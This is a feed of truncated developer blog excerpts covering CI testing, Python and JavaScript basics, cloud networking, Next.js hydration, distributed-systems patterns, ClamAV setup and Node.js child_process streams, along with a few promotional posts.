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This week, I continued improving the testing setup for my Repository-Context-Packager tool and worked on adding tests to my partner’s project. This was good practice in managing project complexity using automated testing and Continuous Integration. To automate test execution, I added a GitHub Actions CI workflow. The workflow runs on every push and on every pull request. It uses an Ubuntu runner, installs a C++ compiler, builds the project and its tests, and executes all Catch2 test cases. If any test fails, the workflow stops and reports the failure in the pull request. Setting this up helped me understand how automated test pipelines work and how CI ensures the main branch never breaks. For the collaboration part of the lab, I contributed a test to my partner's Python project. Their repository was structured differently, and there wasn’t a single obvious entry point for testing, so I had to explore the package and understand how the modules were organized before writing a test. My contribution was a dynamic import test tests/test_imports.py that walks through every module under the analyzer package and confirms that each one imports correctly. The test automatically discovers all submodules using pkgutil.walk_packages, tries importing them with importlib.import_module(), and reports any failures. This ensures the package structure stays consistent and that no module contains syntax errors or missing dependencies. Working on someone else’s codebase required slowing down and reading the design closely, not just looking at individual lines. It felt closer to debugging or performing a code review, because I had to decide what the expected behavior of their modules should be before creating the test. Overall, this week strengthened my understanding of automated testing, CI workflows, and how to approach testing in unfamiliar projects.  ( 6 min )

Day 70 [November 15, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 69 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets While JAVA and Python are Object-oriented Programming languages, contrary to JAVA, embedded in Python is the idea of Methods and Functions. JAVA only utilizes the idea of Methods (geeksforgeeks, 2025). Summary: References: geeksforgeeks. (2025, July 11). Difference between Method and Function in Python. https://www.geeksforgeeks.org/python/difference-method-function-python/ Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.)._ Python for data science, AI & development_ [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )

The task is to implement a function that generates a Fibonacci number. The boilerplate code: function fib(n){ if (n === 0) return 0 if (n === 1) return 1 return fib(n - 1) + fib(n - 2) } The fibonacci sequence starts with ) as the 0th number, and 1 as the 1st number. Every subsequent number is a sum of the previous two. Start with two variables. One that holds the previous fibonacci number, and one that holds the next fibonacci number. let prev = 0, curr = 1 Repeatedly update them. The next number is a sum of the previous two. for(let i = 2, i <= n, i++) { let next = prev + curr } The current becomes the previous, the next becomes the current. prev = curr curr = next This is done till the desired position is reached. The final code function fib(n){ if(n < 0) return undefined; if (n === 0) return 0; if (n === 1) return 1; let prev = 0, curr = 1; for(let i = 2; i <= n; i++) { let next = prev + curr; prev = curr; curr = next; } return curr } That's all folks!  ( 6 min )

If you're still manually clicking through cloud portals to provision resources, you're working too hard. Cloud automation isn't just a nice-to-have anymore - it's the difference between shipping features quickly and spending your Friday nights babysitting deployments. Let me paint a familiar picture. You need to spin up a new environment. You log into AWS or Azure, click through a dozen screens, copy settings from production (hopefully correctly), configure networking, set up security groups, provision databases, configure monitoring, and two hours later you're done. Then someone asks you to do it again for staging. And again for the QA environment. Manual processes don't scale. They're error-prone, inconsistent, and honestly boring. You became a developer to write code, not to be a profes…  ( 11 min )

Hi! I’m Girish, an AWS Community Builder and Cloud Tech Enthusiast, with expertise in delivering customer-focused and business-impacting cloud transformation programs of high complexity. In my previous article, I shared how I used AWS Kiro’s vibe coding feature to build a Customer Lookup API powered by API Gateway, Lambda, DynamoDB, and AWS SAM. In another article, I also talked about Kiro's hooks using a simple HelloWorld Python program. I explained how hooks can automatically update a README.md file whenever the Python code is modified. Unlike traditional IDEs, Kiro is a GenAI-enabled IDE that supports both specs-driven development and vibe coding. In addition to specs, vibe coding and Hooks, Steering Docs is another powerful feature that helps developers by streamlining Comments, Struct…  ( 9 min )

Network outages in Azure can be stressful. One minute everything's running smoothly, the next you're getting alerts that your application is unreachable. I've been through enough of these incidents to know that having a systematic approach makes all the difference between panic and resolution. Picture this: your monitoring alerts are going off, your application isn't responding, and you need to figure out what's wrong. Fast. Azure's network stack is powerful but complex, with virtual networks, subnets, network security groups, route tables, and service endpoints all playing together. When something breaks, knowing where to look is half the battle. Before diving into Azure-specific tools, verify the obvious stuff. I know it sounds basic, but I've seen too many incidents where we skipped thi…  ( 10 min )

Today marks one of the most important milestones in my Django journey — I finally completed my first fully working app: a To-Do List! 🎉 It took me quite a few challenging days, debugging loops, fixing URLs, understanding instance logic, and a lot of trial & error… 🔍 Debugging the Template Error — The Turning Point I wanted to finish the last missing feature: editing a task. At first, I thought: My brain tends to freeze a little now whenever an error appears 😅 — and I keep forgetting to take screenshots for my whiteboard. Google helped… StackOverflow helped even more… 🧠 The Real Fix — Understanding Forms, IDs & Instances After confirming that my URL was fine, I checked views.py — everything looked correct. ➡️ My new edit.html file didn’t have a form. And then came today’s biggest learning: ⭐ The concept of instance in Django forms This one clicked hard. This was the missing piece. A genuine “YESSS!” moment. 🎨 What’s Next? My app is functional now… but not yet pretty 😄 Improve the UI/UX using Bootstrap Deploy my first Django app Celebrate my first baby steps toward becoming a Django developer 🤔 Curiosity Corner What were your thoughts when you completed your first app? 🙏 Thank You! To everyone who has been supporting me in this journey — your comments, tips, and encouragement mean a lot.  ( 7 min )

Azure vs OCI Load Balancers & Traffic Routing: What Actually Matters Load balancers are one of those things everyone uses but nobody really thinks about until something breaks or the bill arrives. I've been working with both Azure and OCI load balancers for different projects, and the approaches are different enough that it's worth getting into the weeds. Let's start with what you're actually choosing from, because both clouds have multiple load balancing services and the naming isn't always helpful. Azure gives you: Azure Load Balancer (L4, regional) Azure Application Gateway (L7, regional, includes WAF) Azure Front Door (L7, global, CDN + routing) Traffic Manager (DNS-based global routing) Cross-region Load Balancer (preview/GA depending on when you read this) OCI gives you: Load Balan…  ( 14 min )

Microsoft Azure vs OCI Networking: A Deep Dive So you're evaluating cloud providers and you've gotten past the usual suspects. Azure's everywhere, obviously, but Oracle Cloud Infrastructure keeps popping up in conversations, especially when people talk about networking performance and cost. I spent the last few months working with both platforms pretty heavily, and honestly, the networking models are different enough that it's worth digging into the details. This is the thing that hit me first. Azure and OCI approach networking from fundamentally different philosophies, and once you understand that, everything else makes more sense. Azure feels like it evolved. Because it did. You've got Virtual Networks (VNets), but then you've also got Classic VNets (deprecated but still haunting docum…  ( 11 min )

🚀 Testing Dev.to API Integration This is a test post to verify the Dev.to API integration is working correctly. ✅ API authentication ✅ Article creation ✅ Markdown formatting ✅ Publishing capability Python 3 Dev.to API Flask If you're seeing this, the integration is working! 🎉 This is an automated test post. You can safely delete it. testing #devto #api  ( 6 min )

Network Resilience & Routing Reliability: Lessons from Real-World Cloud Systems So what is network resilience really? Has redundant paths If your network depends on humans reacting to alarms, it's not resilient. It's reactive. Routing reliability: the underrated hero Traffic always takes a healthy path Cloud networks run millions of flows per second. What resilient networks look like (based on real systems) Multiple equal-cost paths everywhere Most modern networks (AWS, OCI, GCP, Azure) use ECMP so traffic can be instantly redistributed if a link dies. This gives you: Higher throughput When one path fails, traffic shifts without waiting for a human. Fast, sub-second failure detection Protocols like BGP/OSPF aren't fast enough out of the box. So you add: BFD (Bidirectional Forwarding Detect…  ( 8 min )

🚀 Our 10-Month Journey at Codesphere Agency: From Zero Clients to a Growing Portfolio Hello everyone! I’m Hasnain Makada, Founder & CEO of Codesphere Agency — where we help businesses identify bottlenecks, streamline operations, and build reliable, sustainable digital solutions. Today, I want to share a personal chapter of our journey — something raw, real, and hopefully motivating for anyone building something from scratch. When we launched Codesphere around 10 months ago, we were full of energy, ideas, and ambition. But what we didn’t expect was the silence. For three months, we didn’t get a single client. Not one. Our team was constantly sending cold emails, refining messaging, researching leads, and doing every form of outreach we could think of. And still — barely any traction. T…  ( 7 min )

When you use Next.js, the page render twice: On the Server Side (SSR) :- In this process HTML is generated. On the Client (Browser):- React hydrates that HTML and attaches the event listeners. Think of hydration as: “React wakes up the static HTML and converts it into an interactive app.” For hydration to work, the HTML that the server generates must match the HTML that React generates in the browser. If they don’t match → Next.js throws a hydration error. Eg:- Server generated HTML = A Reason - Why Does This Happen? 1.Using browser-only APIs during SSR:- const width = window.innerWidth; 2.Using Date, Math.random(), or dynamic values during render:- Server timestamp ≠ client timestamp → mismatch. {Date.now()} } 4.Fetching data differently on server and client:- You might accidentally: Fetch server-side once Fetch client-side again with a different result This changes HTML → mismatch. How to Fix Hydration Issues? 1.Wrap client-only code inside useEffect:- Anything using window, document, localStorage: const [width, setWidth] = useState(null); useEffect(() => { setWidth(window.innerWidth); }, []); Server renders nothing → client fills it later. 2.Avoid Date.now() or Math.random() directly in render:- Use useEffect or calculate once. const [time, setTime] = useState(null); useEffect(() => setTime(Date.now()), []); 3.Use dynamic import for client-only components:- Example: charts, maps, heavy UI. const Chart = dynamic(() => import("../Chart"), { ssr: false }); Now the component loads only on client → no mismatch. 4.Make sure data is consistent between server and client:- Use server-only fetching (app router) or React Query with proper hydration. Hydration errors happen when the HTML React expects in the browser doesn’t match the HTML generated by Next.js on the server.  ( 7 min )

"the "PLEASE CHILL” Pattern your services desperately need" Imagine your service is a tiny café. Most days it’s fine. A few customers, some coffee orders, a little latency but nothing dramatic. Then one day you get featured on Hacker News. Suddenly 10,000 people show up, all yelling GET /coffee at the same time. Options: You try to serve everyone → kitchen melts, nobody gets coffee. You shut the door and deny everyone → users rage, business dies. You let people in at a controlled rate → some wait, some get “come back later,” the kitchen keeps working. That third one is throttling. In distributed systems, throttling is how we tell clients: “You’re not wrong, you’re just early.” Let’s unpack what throttling really is, how it differs from plain rate limiting, and how to design it cleanly in …  ( 9 min )

Getting ComfyDeploy running locally is a bunch of work; but is a dream, and a good helpful one; in which you gotta spend all your weekend just to get things running... By completing this guide, you'll gain hands-on experience with: Full-Stack Development: 🚀 Modern Web Stack: React/Vite frontend + Python FastAPI backend Database Management: PostgreSQL with Drizzle ORM, schema design, and migrations Authentication: Clerk integration with JWT validation Billing & Subscriptions: Autumn API for SaaS monetization and feature limits Containerization: Docker Compose for local development infrastructure Cloud & Serverless Architecture: Serverless Computing: Deploy GPU-accelerated Python functions with Modal Persistent Storage: Modal volumes for model storage and file management Cloud Storage: AW…  ( 26 min )

In a world where a large portion of traffic comes from mobile devices, making your images responsive is essential for delivering a great user experience. Poorly sized images can break layouts, waste bandwidth, and even harm your page performance. In this post, you’ll learn what responsive images are, why they matter, and how to implement them in HTML using modern best practices. Responsive images are images that automatically adjust to the size of the screen or the element they’re placed in. This ensures that the image: Doesn’t overflow the layout Scales proportionally Improves loading on different devices Avoids unnecessary bandwidth usage The most basic yet very effective way to make an image responsive is through CSS: img { max-width: 1…  ( 8 min )

I tested all three major B2B data sources by scraping 1,000 records from each. Here's what I found about data quality, accuracy, and which one to use for what. Goal: Find 1,000 valid B2B leads in the "marketing agency" niche Sources tested: Google Maps (local businesses) Yelp (reviewed businesses) Apollo (business database) What I measured: Email deliverability rate Phone number accuracy Company data completeness Duplicates between sources What you get: Business name, address, phone Category/industry tags Hours of operation Website URL Review count and rating Email data: ❌ Not included (need separate email finder) Phone accuracy: 92% based on testing 100 random calls Best for: Local service businesses, brick-and-mortar, regional targeting Quality issues I found: 8% of phone numbers were d…  ( 7 min )

We introduced heartbeats as periodic "I'm alive" messages in distributed systems, unpacked how they support failure detection and cluster membership, and compared different heartbeat topologies: centralized monitors, peer-to-peer checks, and gossip-based designs. Recap Heartbeats Are More Than "I'm Alive" Current load (CPU, memory, request rate) Version or build hash (for safe rolling deployments) Epoch/term info (for consensus / leader election) Shard ownership or partition state Examples in real systems: Load balancers: health checks may include not just "HTTP 200" but also whether the instance is overloaded. Kubernetes: readiness and liveness probes gate scheduling/traffic. The kubelet periodically reports node status to the control plane. Consensus protocols: Raft leaders send periodic…  ( 9 min )

How to create a REST API in seconds Nicolas Bonnici ・ Nov 15 #howto #api #rest #go  ( 5 min )

Picture this: you’re on-call, it’s 3 a.m., and a cluster node silently dies. No crash loop. No helpful logs. Just… absence. In a distributed system, absence is deadly. A single node going missing can stall leader election, corrupt data, or make your clients hang indefinitely. You don’t get stack traces from a dead machine. You just get silence. Heartbeats are how we turn that silence into a signal. They’re stupidly simple — tiny “I’m alive” messages — but they sit right in the critical path of availability, failover, and system correctness. Let’s walk through them like system designers, not checkbox-monitoring enjoyers. What is a Heartbeat, Really? “I’m still here, and I’m (probably) fine.” It might be a UDP packet, an HTTP request, a gRPC call, or even a row update in a database table. Th…  ( 9 min )

Long, long ago, back when they were relatively new, I decided to have a go at writing a DOM animation library. I called it 'Twixt'. Between, tween, betwixt... I know, right? It didn't matter. It was only for personal use. The existing libraries left me unsatisfied in some way or other, and CSS transition was so new and incomplete it was still vendor-prefixed, if memory serves. It followed principles that I appreciated more back then than I do today, of declarative code; clean, descriptive objects that tell the engine what I want to animate, and how. It suited me as a hobbyist, more interested in solving problems than finding and applying what exists. The original wheel was terrible. As with any animation library, I'd give it the information it needs. Element, property, from, to, duration. …  ( 9 min )

Quantum-Inspired Encoding: Revolutionizing Reinforcement Learning with Scarce Data Imagine training an AI to perform life-saving surgery, but you only have a handful of successful procedures to learn from. Or designing a new drug with limited patient data. These are the realities of reinforcement learning (RL) in fields where data is expensive or dangerous to acquire. How can we unlock breakthroughs when experiments are limited, and traditional RL algorithms struggle? The answer lies in reimagining how we represent the problem. Instead of directly feeding states and rewards into the RL algorithm, we can use a quantum-inspired metric encoder to create a more compact and meaningful representation of the data. This encoder, inspired by quantum circuit architectures, transforms the original …  ( 7 min )

TL;DR Build a two-stage logo pipeline: Retrieval - generate image embeddings for small crops and match against a logo dictionary with FAISS cosine search. Use SigLIP-2 (NaFlex) so logos are not distorted and small marks still pop. Verification - for top matches, ask LLaVA-OneVision-1.5 a strict JSON question ("Is this the X logo?") and accept only high-confidence "yes". It's a good model sir. A bit longer post this time around. Brand tagging in real-world video is hard: logos are tiny, partly occluded, moving, and often appear on textured backgrounds. A practical approach is a two-stage pipeline: First retrieve likely logo crops with a fast contrastive image encoder. Then verify each candidate with a vision-language model (VLM) that can read text and reason about shapes and context…  ( 14 min )

RAG (Retrieval-Augmented Generation) is an AI method that combines a large language model (LLM) with an external knowledge base to produce more accurate, context-aware answers. The idea is simple: first we retrieve relevant information from documents or data sources, then we pass this information to an LLM to generate the final response. Today, we’ll look at how to build a basic RAG system in PHP (yes, really!) using the Neuron AI framework. This will be a small proof-of-concept: minimal, but fully functional. Ready to generate something useful? In short: RAG helps an AI system avoid guessing by fetching real data before generating an answer. The classical flow has two steps: Retrieval — find relevant document chunks using vector search. Generation — create an answer using the retrieved da…  ( 12 min )

“When spikes hit, don’t blast though — buffer, decouple, control” In distributed systems, you’ll often face a familiar tension: the rate at which requests arrive can wildly overshoot the rate at which your services can safely process them. If you simply funnel every request directly through, you risk collapsing under load, triggering timeouts, throttling, cascading failures. The Queue-Based Load Leveling Pattern offers a neat, reliable way to mitigate that risk, by inserting a buffer between “incoming chaos” and “steady processing”. Queue-based load leveling inserts a durable queue between the component that generates work and the component that processes it. Producers include anything that initiates work — client traffic, upstream microservices, scheduled jobs, or event streams. Instead …  ( 12 min )

Your browser does not support the video tag. If you’re like most developers using GitHub Actions, your day probably looks something like this: Push code → flip to the browser → open the Actions tab → click the right workflow → wait → scroll logs → flip back to the IDE → fix something → repeat. It works… but it’s noisy, slow, and full of context switching. Your code is in JetBrains; your CI is in a browser tab. You’re constantly bouncing between them. At some point I realized: why am I treating CI as a separate destination instead of something that lives right next to my code? That question led me to build Actionate, a JetBrains plugin that brings GitHub Actions into your IDE. In this post I’ll walk through: Why this browser-based workflow is so costly What an “ideal” GitHub Actions + Jet…  ( 15 min )

# Building NecroOS: A Haunted Windows 95 Simulator with Kiro AI What if your computer was haunted? Not just buggy—actually possessed. That 2 AM thought turned into NecroOS, a horror game disguised as a Windows 95 desktop simulator. And I built it using Kiro AI's spec-driven development workflow. NecroOS starts as a comforting Windows 95 desktop—teal wallpaper, chunky pixels, satisfying clicks. But gradually, subtly, things go wrong. Your cursor drifts. The calculator gives you 2+2=5. Files appear in folders you just emptied. The horror isn't in-your-face—it's the creeping dread of familiar technology betraying you. Live Demo: necro-os.vercel.app Source Code: github.com/AstaadDahiya/Necro-OS Vue 3 + Pinia for reactive state management Google Gemini AI (2.5 Flash) for Cursed Clippy, Spiri…  ( 10 min )

Responsables de cumplimiento en México, es hora de adoptar tecnologías innovadoras para mejorar la eficiencia y eficacia en la prevención de lavado de dinero y financiamiento del terrorismo. Un tip práctico que podemos compartir es la automatización de cumplimiento utilizando plataformas de inteligencia artificial (IA) y aprendizaje automático (ML). Esto puede incluir la detección de transacciones sospechosas, análisis de riesgo y seguimiento de cumplimiento. En particular, queremos destacar TarantulaHawk.ai, una plataforma SaaS de PLD (Prevención de Lavado de Dinero) con IA que ofrece soluciones innovadoras para empresas y finanzas en México. Con TarantulaHawk.ai, los responsables de cumplimiento pueden: Automatizar la detección de transacciones sospechosas con IA y ML, lo que mejora la eficacia y agilidad en la prevención de lavado de dinero. Analizar riesgos de manera oportuna y precisa, lo que reduce la complejidad y la incertidumbre en la toma de decisiones. Seguir el cumplimiento de normas y regulaciones con trazabilidad y auditorias, lo que garantiza la transparencia y el rendimiento. La implementación de TarantulaHawk.ai no solo mejora la eficiencia y eficacia en la prevención de lavado de dinero, sino que también reduce la carga administrativa y la complejidad para los responsables de cumplimiento. Recuerden que la prevención de lavado de dinero y financiamiento del terrorismo es un deber para todas las empresas y finanzas en México. La tecnología IA y ML pueden ser una herramienta valiosa en esta misión. ¡Aprovechen la oportunidad de mejorar su cumplimiento con TarantulaHawk.ai! Publicado automáticamente con IA/ML.  ( 6 min )

XCS iPad App Beta 2 Unleashed: Enhanced Productivity with Wi-Fi, SVG, and File Previews The digital creative landscape is constantly evolving, with mobile devices playing an increasingly central role in professional workflows. In this dynamic environment, applications that bridge the gap between powerful desktop capabilities and intuitive mobile interaction are invaluable. It is with great excitement that we announce the release of the XCS app's Beta 2 for iPad, a significant update poised to redefine mobile productivity for designers, developers, and creators alike. This latest iteration is not merely an incremental patch; it's a robust enhancement packed with features designed to streamline operations, improve collaboration, and unlock new creative possibilities. The XCS team has diligen…  ( 9 min )

I built this framework after managing one of those "hot potato" product areas nobody wants - a Core Platform team drowning in 100+ service desk tickets. Years of chaos. Then 6 months of building systems. Result: 20 tickets, sustainable operations. The Problem: What Actually Worked: Root cause analysis sessions (weekly) Engineer rotation system (capacity protection) Documentation-first culture Prevention mechanisms Proactive monitoring Stakeholder education The Framework: 4-stage maturity model (diagnostic to find where you are) Interactive health scorecard Implementation overview Real transformation metrics (100→20 tickets, 80% reduction) Sharing it free because I couldn't find resources like this when I was drowning: [Gumroad link] My Question for the Dev Community: Engineering capacity getting eaten by support Lack of clear systems/processes Stakeholder management Something else? Would love to hear what's actually painful for you.  ( 6 min )

La importancia de la detección temprana de riesgos en fintech y activos virtuales En el ámbito de la Plataforma de Detección de Riesgos (PLD), un error común que se puede presentar es la falta de detección temprana de riesgos asociados con activos virtuales y fintech. Esto se traduce en reportes tardíos, segmentación deficiente y, en última instancia, en riesgos financieros para las instituciones financieras. Error común: Reportes tardíos y segmentación deficiente Algunas de las causas de estos errores pueden incluir: Un manual de procedimientos no actualizado. Un entorno de análisis no escalable. Un recurso humano limitado. Corrección concreta: Implementación de un enfoque basado en aprendizaje automático Una posible corrección a estos errores es implementar un enfoque basado en aprendiza…  ( 7 min )

O Pesadelo do Desenvolvedor Júnior Imagine o seguinte: Você acabou de entrar em um novo projeto e precisa adicionar uma funcionalidade simples, por exemplo, um campo extra na tela de cadastro de usuários. Você faz a alteração em uma classe, mas o sistema começa a falhar em três outras áreas não relacionadas (o módulo de relatórios, o envio de e-mail e a validação de estoque). Pergunta: Qual princípio de design de software foi violado, causando esse efeito dominó? Se você não soube responder imediatamente qual dos conceitos (Acoplamento ou Coesão) é o principal culpado, este artigo é para você. A resposta está na Ortogonalidade. Em programação, o princípio da Ortogonalidade significa que componentes não relacionados de um sistema devem ser independentes uns dos outros. Em um sistema ortog…  ( 8 min )

Autonomous Systems to Revolutionize Environmental Conservation: A New Frontier As we stand on the cusp of 2026, I predict that autonomous systems will play a pivotal role in the conservation of our planet's precious ecosystems, particularly in the realm of marine conservation. Within the next two years, we will witness the widespread adoption of autonomous underwater vehicles (AUVs) and artificial intelligence (AI) algorithms that will help monitor, protect, and restore marine habitats on an unprecedented scale. The reasoning behind this prediction lies in the convergence of several factors: (1) the growing concern of marine pollution and overfishing, which poses a significant threat to global food security and biodiversity; (2) the advancements in AUV technology, which allow for the deplo…  ( 7 min )

‘Snake Eyes’ Deep Dive on Ringer Movies Bill Simmons, Sean Fennessey, and Van Lathan reunite to rewatch Brian De Palma’s 1998 thriller Snake Eyes, starring Nic Cage, Gary Sinise, and Carla Gugino. They unpack De Palma’s signature tracking shots, dissect the movie’s twisty plot set in Atlantic City, and trade hot takes on why this noir-ish gem still deserves attention nearly 25 years later. Watch on YouTube  ( 6 min )

Sean and Amanda team up with Van Lathan to commiserate over a fall movie lineup that’s sputtered both at the box office and in critics’ eyes. They kick things off with Edgar Wright’s new actioner The Running Man, calling it a gloriously messy beast thanks to some jaw-dropping set pieces, then switch gears to the legacy-sequel Now You See Me: Now You Don’t, where Jesse Eisenberg, Dave Franco and Rosamund Pike’s diamond-heiress baddie spark fun heist vibes and a guessing game about its financial fate. In the final act, Edgar Wright hops on to chat about the changing face of studio filmmaking, his step-by-step approach to crafting elaborate action sequences, and the amusing behind-the-scenes story of how Glen Powell scored the starring role. Watch on YouTube  ( 6 min )

My biggest bottleneck for creating YouTube videos wasn't the code, the editing, or even the ideas. It was my own voice. I'd spend hours recording, hating the sound of it, doing endless retakes, and feeling like an imposter. It was burning me out. Then I went down a rabbit hole: AI voice generators. I always assumed they sounded robotic, like a 2005-era GPS. I was completely wrong. The technology has gotten so good that some AI voices are nearly indistinguishable from human narration. After trying over a dozen tools, I found a handful that were perfect for creating professional, high-quality voiceovers for my coding tutorials and tech reviews. My productivity skyrocketed. I could create the audio for a 10-minute video in about 15 minutes, with zero stress. This is a complete game-changer for developers and content creators. I put together a full breakdown of the 5 best tools I found—the ones that are actually worth your time. ➡️ The 5 Best AI Voice Generators for YouTube (2025 Review) Is using AI for voiceovers cheating, or is it just the smart way to work? Let me know your thoughts below. 👇  ( 6 min )

Your Snowflake bill is high primarily because of its compute billing model, which enforces a 60-second minimum charge each time a warehouse resumes. This creates a significant "idle tax" on the frequent, short-running queries common in BI dashboards and ad-hoc analysis. You're often paying for compute you don't actually use. A surprisingly high bill for a modest amount of data is frustrating. We see it all the time. The immediate question is, "Why is my bill so high when my data isn't that big?" The cost isn't driven by data at rest, it's driven by data in motion, specifically by compute patterns. For many modern analytical workflows, the bill inflates from thousands of frequent queries accumulating disproportionately high compute charges. If you don't address this, you'll face budget over…  ( 16 min )

Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building *one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet. Server admins often install ClamAV using the default package and immediately hit a wall: clamscan eats RAM, the server freezes, and everything goes to hell. The fix? clamscan and switch to clamd + clamdscan with proper tuning. This guide shows you exactly how to install, configure, and run ClamAV scans safely on a 4GB RAM machine. Why clamscan Is a Problem on Low-RAM Servers clamscan is the standalone command-line scanner. It loads the ENTIRE virus database (600MB–900MB) into RAM It unloads it after the scan It does this again for ea…  ( 8 min )

Understanding useRef and When to Ditch useState The useRef hook is a pillar of modern React development, especially when working with mobile interfaces in React Native. It's the essential tool for escaping the declarative world of React and dipping your toes into low-level component control. useRef? (The Elevator Pitch) useRef is a built-in React Hook that provides an object whose value persists across component re-renders. It serves two main purposes: Component Reference (The Analogy): To get a direct handle on a component instance (like a TextInput or ScrollView) so you can manually control action-oriented functions. Component-Specific Memory: To hold any value (a counter, a timer ID, etc.) that needs to change without forcing the component to re-render. This memory is persistent b…  ( 8 min )

This post is my submission for DEV Education Track: Build Apps with Google AI Studio. Hi. I have created a resume screener app for companies to analyze many applications for a given job description and shortlist the top candidates based on their resumes. This will save a lot of time for them. I have published the app here: https://gemini-resume-screener-654612588706.us-west1.run.app The track is super simple and motivated me to try out Google AI studio which I was procrastinating earlier. Thanks.  ( 6 min )

Recently I completed e-commerce project with scalability and clean architecture using Redis, SOLID principles , Dry code methodology, proper DTOS and BullMQ, avoid race conditions and concurrency safe using occ, mongodb transactions, versioning check, atomic updates, reducing latency by indexing on schemas, centralized state management using redux toolkit, custom hooks for dispatch thunk , optimistic ui update in 🛒 cart, coupon engine, payment integration, shipping integration, notifications, different layers for ui and API integration. Tech Stack : MERN/NEXTJS, Tailwindcss,shadcn ui for styling and making modern , responsive ui. But I didn't get any job or freelancing work after doing such a enterprise level project. Where will be my lack.  ( 6 min )

Το WordPress διαθέτει ένα σύστημα ρόλων και δικαιωμάτων (capabilities) που καθορίζει τι μπορεί να κάνει κάθε χρήστης στο site. Κάθε ρόλος έχει διαφορετικά προνόμια. Administrator (Διαχειριστής) Περιγραφή: Δικαιώματα / Capabilities: Διαχείριση χρηστών: μπορεί να προσθέτει, να διαγράφει ή να αλλάζει ρόλους άλλων χρηστών. Επεξεργασία και διαγραφή οποιουδήποτε περιεχομένου, ακόμα και άλλων χρηστών. Εγκατάσταση, απενεργοποίηση, διαγραφή plugins και themes. Ρυθμίσεις site: αλλαγές στο General, Writing, Reading, Permalinks κ.α. Προβολή όλων των logs, στατιστικών και εργαλείων. Σημείωση: Πάντα να υπάρχει μόνο ένας ή λίγοι αξιόπιστοι Administrator γιατί έχουν πλήρη έλεγχο. Editor (Συντάκτης / Υπεύθυνος Περιεχομένου) Περιγραφή: Δικαιώματα: Δημιουργία, επεξεργασία και διαγραφή posts και pages όλων τω…  ( 7 min )

Intro In this post, we will look at the groupby function from the itertools module. The itertools.groupby function groups consecutive elements from an iterable. It accepts an iterable and an optional callable key that computes a key value for each element. It returns an iterator that yields tuples of (key, group), where group itself is an iterator over the consecutive elements that share that key value. If key is not specified or passed as None, then the value of each element is used as key value. ⚠️ A few critical points to remember: groupby only groups consecutive elements with the same key. If your data has non-consecutive elements with the same key, you'll need to sort the data first. Also, the grouped iterators are only accessible once. So, if you want to access the groups later, yo…  ( 11 min )

PrinceJS just hit 19,200 req/s, beating Hono, Elysia, and . 2.8 kB gzipped\ 576k requests in 30s\ 21% faster than Elysia\ 106% faster than Express import { prince } from "princejs"; const app = prince(); app.get("/", () => ({ hello: "PrinceJS" })); app.listen(3000); PrinceJS: 19,200 req/s → 576k\ Hono: 16,212 req/s → 486k\ Elysia: 15,862 req/s → 476k\ Express: 9,325 req/s → 280k "I didn't beat them. I destroyed the competition." 🔗 Website: https://princejs.vercel.app\ GitHub: https://github.com/MatthewTheCoder1218/princejs  ( 6 min )

How I Built a Stable Asynchronous Batch Processor for n8n (And Why the Default Loops Weren’t Enough) Async API workflows in n8n get messy fast. Timeouts, rate limits, unstable endpoints, CRM sync delays, retries… I kept running into the same problems over and over. So I built a modular, safe, reusable async batch processor — and this post explains the pattern. Normal loops in n8n fail when you push large datasets: Random HTTP timeouts APIs enforcing strict rate limits Retry logic is inconsistent Long chains become unmaintainable Webhook-based CRMs randomly drop requests I needed something predictable and production-safe. This pattern has 5 independent responsibilities: SplitInBatches → Iteration controller API Request Wrapper → Safe executor Retry Engine → Idempotent retries D…  ( 9 min )

🌐 Agentic AI in 2025: How Autonomous Software Is Quietly Becoming the New Found Md Asaduzzaman Atik ・ Nov 14 #ai #programming #career #productivity  ( 5 min )

Dynamic Programming (DP) has a reputation for being one of the trickiest topics in algorithms. Many learners struggle not because DP is inherently complex, but because they lack a structured approach to reasoning about problems. In this blog, we’ll break DP down into five simple steps that you can apply to most problems. To make things concrete, we’ll use the Longest Increasing Subsequence (LIS) problem as our running example. 🧠 5-Step Framework to Solve DP Problems ### 1. Visualize Examples (Think in Terms of a DAG) Almost all DP problems can be imagined as paths in a Directed Acyclic Graph (DAG). Each state represents a choice, and edges represent transitions to future states. Let’s take our example array: arr = [3, 1, 8, 2, 5] Try to imagine all sequences that can be f…  ( 10 min )

In the previous part, we learned how to work with components and pages. If a certain part of a template is repeated, it's a prime candidate for extraction into a separate new component, in accordance with the programmer's DRY principle. But what if the methods for working with data in the section are repeated? Or what if we want to organize our application better and avoid scary long component files that become difficult to navigate? We certainly can extract the logic from JavaScript (TypeScript) code as well. Nuxt provides automatic imports across the application if we place the relevant files in two additional special folders - /app/utils and /app/composables. Note: In Nuxt v4, these folders are now located inside the /app directory, whereas previously you would find them direct…  ( 11 min )

I’m open-sourcing a new project called arkA, aiming to create a simple, neutral, decentralized video protocol. Think “RSS, but for video.” Key ideas: • storage-agnostic (S3, R2, Arweave, IPFS, NAS) • reference HTML/JS client • optional HLS/DASH/CMAF segment layers • creator-controlled distribution • no algorithms, no tracking Why it exists: Looking for contributors and architectural feedback. Repo: https://github.com/baconpantsuppercut/arkA Discussion board: https://github.com/baconpantsuppercut/arkA/discussions  ( 6 min )

When executing shell commands in Node.js using the child_process module, three critical elements shape the command's outcome: err, stdout, and stderr. Grasping their roles is vital for effective debugging and error handling. This guide dives into their differences and offers best practices to master them. stdout? stdout (Standard Output) is the stream where a command’s successful output is sent. It holds the expected results of a command, free of error messages. Example: Capturing stdout import { exec } from 'child_process'; exec('echo "Hello, World!"', (err, stdout, stderr) => { console.log(`STDOUT: ${stdout}`); }); Output: STDOUT: Hello, World! Contains the command’s standard output. Excludes error messages (those are routed to stderr). stderr? stderr (Standard Error) is the str…  ( 8 min )

